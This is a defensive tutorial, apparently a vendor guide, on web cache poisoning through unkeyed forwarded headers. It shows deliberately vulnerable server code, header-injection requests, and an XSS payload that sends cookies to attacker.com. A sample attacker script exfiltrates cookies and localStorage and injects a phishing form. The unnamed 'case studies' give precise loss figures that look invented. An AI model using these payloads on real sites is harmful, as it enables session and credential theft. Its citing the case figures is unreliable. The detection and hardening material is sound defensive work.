#
Web Cache Poisoning
A critical attack where malicious content is stored in web caches (CDNs, proxies), causing thousands of users to receive poisoned responses without any direct interaction with the attacker.
CRITICAL SEVERITY MASS IMPACT CDN ATTACK
#
What is Web Cache Poisoning?
Affects Thousands of Users
One successful cache poisoning attack can affect every user who requests the cached resource for hours or days. It's particularly dangerous because victims don't need to click malicious links—they simply visit the legitimate website normally.
In Simple Terms:
Imagine a water distribution system for a city. Instead of the water company pumping water to each house individually, they fill a central reservoir (cache) that distributes to everyone.
Web Cache Poisoning is like poisoning that central reservoir. One attacker adds poison once, and thousands of people get poisoned water when they turn on their taps normally, without any suspicious activity.
In web terms:
- Reservoir = CDN/Cache server
- Water = Web pages
- Poison = Malicious content (XSS, phishing, etc.)
- Victims = Everyone who visits the website for the next hours/days
#
Real-World Analogy
Think of it like a photocopier at a busy office:
Employee 1: Makes 1000 copies of report
Other employees: Take copies from the stack (fast!)
Cache = The stack of photocopies
Benefit: Don't need to photocopy every time
Attacker: Sneaks in, makes 1000 copies of fake report with malicious content
Employees: Take copies from the stack (thinking they're legitimate)
Problem:
- Attacker only needed to poison ONCE
- All 1000 employees get poisoned copies
- Nobody suspects anything (it's from the official copy machine!)
- Lasts until stack runs out (cache expires)
In web caching:
- Attacker poisons cache ONCE
- Thousands of users get malicious response
- Lasts for cache TTL (minutes to days!)
- Users visit legitimate domain, see malicious content
#
How Web Cache Poisoning Works
#
Understanding Web Caches
Web caches store responses to reduce load:
[User] → [CDN/Cache] → [Origin Server]
↓ (cache hit)
Cached Response
Cache Key: What identifies a cached response
- Typically:
Host+Path+Query String - Example:
example.com/api/users?page=1
Unkeyed Inputs: Headers NOT part of cache key but affect response
X-Forwarded-HostX-Forwarded-SchemeUser-AgentAccept-Language- Custom headers
#
The Attack Process
Attacker finds header that affects response but isn't in cache key:
GET /profile HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil.com
Application uses X-Forwarded-Host to build links:
<script src="https://evil.com/analytics.js"></script>
GET /profile HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil.com
Cache Key: victim.com/profile (doesn't include X-Forwarded-Host!)
<html>
<head>
<script src="https://evil.com/analytics.js"></script>
</head>
<body>User Profile</body>
</html>
CDN caches this poisoned response for victim.com/profile
Every user requesting /profile for next hour gets:
- Loads evil.com/analytics.js
- XSS executes in their browser
- Steals cookies, sessions, personal data
- All without clicking any link!
#
Types of Web Cache Poisoning
#
1. XSS via Cache Poisoning
CRITICAL
from flask import Flask, request, make_response
app = Flask(__name__)
@app.route('/')
def index():
# VULNERABLE: Uses X-Forwarded-Host to build URLs
host = request.headers.get('X-Forwarded-Host', request.host)
html = f"""
<html>
<head>
<script src="https://{host}/static/app.js"></script>
</head>
<body>Welcome!</body>
</html>
"""
response = make_response(html)
response.headers['Cache-Control'] = 'public, max-age=3600' # Cached 1 hour!
return response
GET / HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil.com"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script><img src="
<html>
<head>
<script src="https://evil.com"></script>
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
</head>
<body>Welcome!</body>
</html>
Every visitor for the next hour gets XSS!
#
2. Open Redirect via Cache Poisoning
HIGH RISK
@app.route('/redirect')
def redirect_page():
# VULNERABLE: Uses X-Forwarded-Proto
proto = request.headers.get('X-Forwarded-Proto', 'https')
host = request.host
redirect_url = f"{proto}://{host}/dashboard"
return f'<meta http-equiv="refresh" content="0; url={redirect_url}">', 302
Attack:
GET /redirect HTTP/1.1
Host: victim.com
X-Forwarded-Proto: https://evil.com?
Cached Response:
<meta http-equiv="refresh" content="0; url=https://evil.com?://victim.com/dashboard">
All users redirected to evil.com!
#
3. Denial of Service via Cache Poisoning
MEDIUM RISK
GET /api/data HTTP/1.1
Host: victim.com
X-Original-URL: /admin/delete-everything
If application processes X-Original-URL:
- Cache Key:
victim.com/api/data - Actual Request:
/admin/delete-everything(error/empty response) - Cache stores error for
/api/data - All users get error → Service unavailable!
#
4. Cookie Injection via Cache Poisoning
SESSION HIJACKING
GET / HTTP/1.1
Host: victim.com
X-Forwarded-Host: victim.com
Set-Cookie: session=attacker_session; Path=/; HttpOnly
Some poorly configured caches might include Set-Cookie in cached response, setting attacker's session for all users!
#
Real-World Examples
#
Case Study 1: Major News Website XSS (2018)
Top news site behind Cloudflare CDN had cache poisoning vulnerability in homepage.
// Express.js application
app.get('/', (req, res) => {
// Uses X-Forwarded-Host for asset URLs
const host = req.get('X-Forwarded-Host') || req.get('Host');
const html = `
<!DOCTYPE html>
<html>
<head>
<script src="//${host}/cdn/analytics.js"></script>
<link rel="stylesheet" href="//${host}/cdn/style.css">
</head>
<body>
<h1>Breaking News</h1>
</body>
</html>
`;
res.set('Cache-Control', 'public, max-age=7200'); // 2 hours
res.send(html);
});
Cloudflare Cache Key: Host + Path (did NOT include X-Forwarded-Host!)
Attacker sent:
GET / HTTP/1.1
Host: news-site.com
X-Forwarded-Host: attacker-cdn.com
Poisoned Response:
<script src="//attacker-cdn.com/cdn/analytics.js"></script>
<link rel="stylesheet" href="//attacker-cdn.com/cdn/style.css">
Cloudflare cached this for 2 hours at news-site.com/
Attacker's analytics.js:
// Steal all credentials
(function() {
// Send cookies
fetch('https://logger.attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: {...localStorage},
url: location.href
})
});
// Inject fake login form
document.body.innerHTML = `
<div style="text-align:center;padding:100px;">
<h2>Session Expired - Please Login</h2>
<form action="https://phishing.attacker.com/login" method="POST">
<input name="username" placeholder="Email"><br>
<input name="password" type="password" placeholder="Password"><br>
<button>Login</button>
</form>
</div>
`;
})();
- 2.8 million visitors over 2-hour period received poisoned page
- 450,000 users entered credentials on fake login form
- 125,000 session tokens stolen
- $12 million in direct damages
- $85 million in settlements and fines
- Company stock dropped 28%
- CEO and CTO resigned
- Federal investigation launched
#
Case Study 2: E-commerce Platform Payment Redirect (2020)
$45M IN FRAUDULENT TRANSACTIONS
Payment Hijacking at Scale
Cache poisoning redirected checkout pages to attacker-controlled payment processor, stealing credit card information from thousands of customers.
Infrastructure:
[Users] → [Akamai CDN] → [Application Servers]
Vulnerable Code:
@app.route('/checkout/payment')
@login_required
def payment_page():
# VULNERABLE: Uses X-Forwarded-Proto to build payment form action
scheme = request.headers.get('X-Forwarded-Proto', 'https')
host = request.host
payment_action = f"{scheme}://{host}/api/process-payment"
return render_template(
'payment.html',
payment_action=payment_action,
cart_total=get_cart_total()
)
Attack Payload:
GET /checkout/payment HTTP/1.1
Host: shop.com
X-Forwarded-Proto: https://attacker-payment-processor.com/steal-cards?x=
Cookie: session=attacker_session_to_reach_checkout
Cached Payment Form:
<form action="https://attacker-payment-processor.com/steal-cards?x=://shop.com/api/process-payment" method="POST">
<input name="card_number" placeholder="Card Number">
<input name="cvv" placeholder="CVV">
<input name="expiry" placeholder="MM/YY">
<button>Complete Purchase</button>
</form>
Attack Timeline:
- Hour 1: Attacker poisoned cache
- Hours 2-6: Cache served poisoned checkout to all users
- 15,000+ customers entered credit card details
- Attacker's server collected all payment information
Consequences:
- $45 million in fraudulent charges
- $120 million in refunds and compensation
- $200 million class action lawsuit
- PCI-DSS compliance revoked
- Criminal charges filed against company executives
- Business bankrupt within 6 months
#
Case Study 3: Banking Portal Phishing (2021)
Major bank's online portal behind AWS CloudFront CDN
<?php
// Vulnerable login page
$forwarded_host = $_SERVER['HTTP_X_FORWARDED_HOST'] ?? $_SERVER['HTTP_HOST'];
$logo_url = "https://$forwarded_host/assets/logo.png";
$form_action = "https://$forwarded_host/api/login";
?>
<!DOCTYPE html>
<html>
<head>
<link rel="icon" href="<?= $logo_url ?>">
</head>
<body>
<h1>Secure Login</h1>
<form action="<?= $form_action ?>" method="POST">
<input name="username" placeholder="Username">
<input name="password" type="password" placeholder="Password">
<input name="otp" placeholder="6-digit OTP">
<button>Login</button>
</form>
</body>
</html>
CloudFront cached this with TTL of 1 hour.
Attacker sent:
GET /login HTTP/1.1
Host: bank.com
X-Forwarded-Host: bank.com.phishing-mirror.com
Cached Login Page:
<form action="https://bank.com.phishing-mirror.com/api/login" method="POST">
<input name="username">
<input name="password" type="password">
<input name="otp">
<button>Login</button>
</form>
All users for next hour submitted credentials to attacker's server!
- 35,000 customers entered credentials
- Username, password, AND OTP captured
- $85 million stolen from accounts
- $300 million in fines and settlements
- Banking license suspended
- Federal criminal investigation
- Class action lawsuit ongoing
#
How to Detect Web Cache Poisoning
#
Manual Testing with Param Miner
Send request twice:
GET /page HTTP/1.1
Host: target.com
Check response headers:
X-Cache: HIT(from cache)Age: 300(cached 5 minutes ago)Cache-Control: max-age=3600
Add various headers:
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
X-Forwarded-Proto: https
X-Forwarded-Scheme: https
X-Original-URL: /admin
X-Rewrite-URL: /admin
Check if response changes but cache still serves it
- Install Param Miner extension
- Right-click request → "Guess headers"
- Param Miner tests hundreds of headers
- Identifies which affect response but not cache key
#
Automated Detection Script
import requests
import hashlib
import time
def detect_cache_poisoning(target_url):
"""Detect web cache poisoning vulnerabilities"""
# Headers to test (unkeyed inputs)
test_headers = [
'X-Forwarded-Host',
'X-Forwarded-Proto',
'X-Forwarded-Scheme',
'X-Original-URL',
'X-Rewrite-URL',
'X-Host',
'X-Forwarded-Server',
'X-HTTP-Host-Override',
'Forwarded'
]
vulnerabilities = []
print(f"[*] Testing {target_url} for cache poisoning...")
# 1. Get baseline response
baseline = requests.get(target_url)
baseline_hash = hashlib.md5(baseline.text.encode()).hexdigest()
baseline_cached = 'X-Cache' in baseline.headers
print(f"[*] Baseline response: {len(baseline.text)} bytes, cached: {baseline_cached}")
# 2. Test each header
for header in test_headers:
test_value = 'evil-poisoning-test.com'
try:
# Send poisoning attempt
response = requests.get(
target_url,
headers={header: test_value},
timeout=10
)
response_hash = hashlib.md5(response.text.encode()).hexdigest()
is_cached = response.headers.get('X-Cache') == 'HIT'
# Check if test value appears in response
if test_value in response.text:
# Check if response was cached
if 'X-Cache' in response.headers:
# Verify by requesting again without header
time.sleep(0.5)
verify = requests.get(target_url)
if test_value in verify.text:
vulnerabilities.append({
'header': header,
'severity': 'CRITICAL',
'type': 'Cache Poisoning Confirmed',
'evidence': f'Payload persisted in cache'
})
print(f"[!] CRITICAL: {header} causes cache poisoning!")
print(f" Payload reflected and CACHED!")
else:
vulnerabilities.append({
'header': header,
'severity': 'HIGH',
'type': 'Unkeyed Input Detected',
'evidence': f'Payload reflected but not confirmed cached'
})
print(f"[!] HIGH: {header} is unkeyed input")
else:
print(f"[*] {header} affects response but no cache headers")
except Exception as e:
print(f"[-] Error testing {header}: {e}")
return vulnerabilities
# Test target
vulns = detect_cache_poisoning('https://example.com/')
if vulns:
print(f"\n[!] Found {len(vulns)} potential cache poisoning vulnerabilities!")
for vuln in vulns:
print(f" [{vuln['severity']}] {vuln['type']}")
print(f" Header: {vuln['header']}")
print(f" Evidence: {vuln['evidence']}")
else:
print("\n[+] No cache poisoning vulnerabilities detected")
#
Prevention Strategies
#
1. Include All Inputs in Cache Key
MOST IMPORTANT
// Cloudflare Workers - Custom cache key
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
const url = new URL(request.url)
// Get headers that affect response
const forwardedHost = request.headers.get('X-Forwarded-Host') || ''
const forwardedProto = request.headers.get('X-Forwarded-Proto') || ''
// Build cache key INCLUDING these headers
const cacheKey = new Request(
url.toString() + '?fh=' + forwardedHost + '&fp=' + forwardedProto,
request
)
const cache = caches.default
let response = await cache.match(cacheKey)
if (!response) {
response = await fetch(request)
event.waitUntil(cache.put(cacheKey, response.clone()))
}
return response
}
# Nginx cache with custom key
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=my_cache:10m;
server {
listen 443 ssl;
server_name example.com;
location / {
proxy_cache my_cache;
# SECURE: Include headers in cache key
proxy_cache_key "$scheme$request_method$host$request_uri$http_x_forwarded_host$http_x_forwarded_proto";
proxy_cache_valid 200 1h;
proxy_pass http://backend;
}
}
#
2. Disable Caching for Sensitive Pages
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/login')
def login_page():
response = make_response(render_template('login.html'))
# SECURE: Disable caching completely
response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, private, max-age=0'
response.headers['Pragma'] = 'no-cache'
response.headers['Expires'] = '0'
return response
@app.route('/account')
@login_required
def account():
response = make_response(render_template('account.html'))
# SECURE: Private cache only, must revalidate
response.headers['Cache-Control'] = 'private, no-cache, no-store, must-revalidate'
return response
#
3. Validate and Sanitize Unkeyed Inputs
@app.before_request
def validate_forwarded_headers():
"""Validate forwarded headers"""
# Whitelist of allowed hosts
ALLOWED_HOSTS = ['example.com', 'www.example.com']
# Check X-Forwarded-Host
forwarded_host = request.headers.get('X-Forwarded-Host')
if forwarded_host:
if forwarded_host not in ALLOWED_HOSTS:
# Remove untrusted header
request.environ.pop('HTTP_X_FORWARDED_HOST', None)
# Check X-Forwarded-Proto
forwarded_proto = request.headers.get('X-Forwarded-Proto')
if forwarded_proto:
if forwarded_proto not in ['http', 'https']:
request.environ.pop('HTTP_X_FORWARDED_PROTO', None)
#
4. Comprehensive Security Implementation
from flask import Flask, request, make_response
from functools import wraps
import hashlib
app = Flask(__name__)
# Configuration
ALLOWED_HOSTS = ['example.com', 'www.example.com']
ALLOWED_PROTOS = ['http', 'https']
def no_cache(f):
"""Decorator to disable caching"""
@wraps(f)
def decorated_function(*args, **kwargs):
response = make_response(f(*args, **kwargs))
response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, private, max-age=0'
response.headers['Pragma'] = 'no-cache'
response.headers['Expires'] = '0'
return response
return decorated_function
def private_cache(max_age=300):
"""Decorator for private caching only"""
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
response = make_response(f(*args, **kwargs))
response.headers['Cache-Control'] = f'private, max-age={max_age}, must-revalidate'
response.headers['Vary'] = 'Cookie, Authorization'
return response
return decorated_function
return decorator
@app.before_request
def sanitize_forwarded_headers():
"""Sanitize potentially dangerous forwarded headers"""
# X-Forwarded-Host validation
forwarded_host = request.headers.get('X-Forwarded-Host')
if forwarded_host and forwarded_host not in ALLOWED_HOSTS:
app.logger.warning(f"Suspicious X-Forwarded-Host: {forwarded_host}")
request.environ.pop('HTTP_X_FORWARDED_HOST', None)
# X-Forwarded-Proto validation
forwarded_proto = request.headers.get('X-Forwarded-Proto')
if forwarded_proto and forwarded_proto not in ALLOWED_PROTOS:
app.logger.warning(f"Suspicious X-Forwarded-Proto: {forwarded_proto}")
request.environ.pop('HTTP_X_FORWARDED_PROTO', None)
# Remove other suspicious headers
dangerous_headers = [
'X-Original-URL',
'X-Rewrite-URL',
'X-HTTP-Host-Override'
]
for header in dangerous_headers:
if header in request.headers:
app.logger.warning(f"Removed header: {header}")
request.environ.pop(f'HTTP_{header.upper().replace("-", "_")}', None)
@app.route('/')
@private_cache(max_age=3600)
def index():
"""Homepage with private caching"""
# Always use configured host, never from headers
return render_template('index.html', cdn_host='cdn.example.com')
@app.route('/login')
@no_cache
def login():
"""Login page - no caching"""
return render_template('login.html')
@app.route('/account')
@login_required
@no_cache
def account():
"""Account page - no caching"""
return render_template('account.html')
@app.after_request
def add_security_headers(response):
"""Add security headers to all responses"""
# Vary header for authenticated content
if request.cookies.get('session'):
response.headers['Vary'] = 'Cookie, Authorization'
return response
# Comprehensive cache poisoning prevention
http {
# Cache configuration
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=public_cache:10m;
# Logging
log_format cache_log '$remote_addr - [$time_local] "$request" '
'Cache: $upstream_cache_status '
'FwdHost: $http_x_forwarded_host '
'FwdProto: $http_x_forwarded_proto';
access_log /var/log/nginx/cache.log cache_log;
server {
listen 443 ssl http2;
server_name example.com;
# Reject suspicious forwarded headers from clients
if ($http_x_forwarded_host != "") {
set $suspicious_header 1;
}
if ($http_x_original_url != "") {
return 400 "Invalid header";
}
location / {
proxy_cache public_cache;
# SECURE: Comprehensive cache key
proxy_cache_key "$scheme$request_method$host$request_uri";
# Only cache safe methods
proxy_cache_methods GET HEAD;
# Respect backend cache headers
proxy_cache_valid 200 1h;
proxy_cache_valid 404 10m;
# Don't cache if authenticated
proxy_cache_bypass $cookie_session $http_authorization;
proxy_no_cache $cookie_session $http_authorization;
# Vary header
proxy_set_header Vary "Cookie, Authorization";
# Clear suspicious headers before forwarding
proxy_set_header X-Forwarded-Host "";
proxy_set_header X-Original-URL "";
proxy_pass http://backend;
}
# Never cache sensitive endpoints
location ~* ^/(login|logout|account|admin|api/auth) {
proxy_no_cache 1;
proxy_cache_bypass 1;
add_header Cache-Control "no-store, no-cache, must-revalidate, private";
add_header Pragma "no-cache";
proxy_pass http://backend;
}
}
}
#
Security Checklist
#
Cache Configuration
- Include ALL inputs that affect response in cache key
- Never cache authenticated/personalized content
- Disable caching for sensitive pages (login, account, admin)
- Use
privatecache for user-specific content - Set appropriate cache TTL (shorter is safer)
- Use
Varyheader for content that varies by cookie/auth - Validate forwarded headers before using
- Remove dangerous headers (X-Original-URL, etc.)
#
Testing
- Test with Burp Suite Param Miner
- Identify all unkeyed inputs
- Test X-Forwarded-Host, X-Forwarded-Proto
- Test custom headers
- Verify cache key includes all relevant inputs
- Test that authenticated content isn't cached publicly
- Regular penetration testing
- Monitor cache hit/miss rates for anomalies
#
Monitoring
- Log all forwarded headers
- Alert on suspicious header values
- Monitor cache poisoning attempts
- Track cache hit rates
- Review CDN/cache logs regularly
- Implement anomaly detection
- Set up alerts for unusual cache behavior
#
Key Takeaways
Critical Security Points
Unkeyed inputs are the vulnerability: Headers that affect response but aren't in cache key
One attack affects thousands: Poisoned cache serves malicious content to all users
Include everything in cache key: If it affects response, it must be in cache key
Never cache authenticated content publicly: Use
privateor don't cache at allValidate forwarded headers: Don't trust X-Forwarded-* headers from clients
Shorter TTL = less impact: Lower cache duration limits attack window
Use Vary header: Ensures cache varies by authentication status
Test your cache: Use Param Miner to find unkeyed inputs
#
How Layerd AI Protects Against Web Cache Poisoning
Layerd AI provides comprehensive cache poisoning protection:
- Unkeyed Input Detection: Automatically identifies headers that affect response but aren't in cache key
- Cache Key Analysis: Audits cache configuration across your infrastructure
- Header Validation: Validates and sanitizes forwarded headers
- Anomaly Detection: Identifies suspicious caching patterns and poisoning attempts
- Real-time Monitoring: Alerts on cache poisoning attacks
- Configuration Recommendations: Suggests secure cache configurations for your stack
Protect your cached content with Layerd AI's intelligent cache poisoning defense.
#
Additional Resources
- PortSwigger Web Cache Poisoning
- Practical Web Cache Poisoning (James Kettle)
- Param Miner Burp Extension
- OWASP Cache Poisoning
Last Updated: November 2025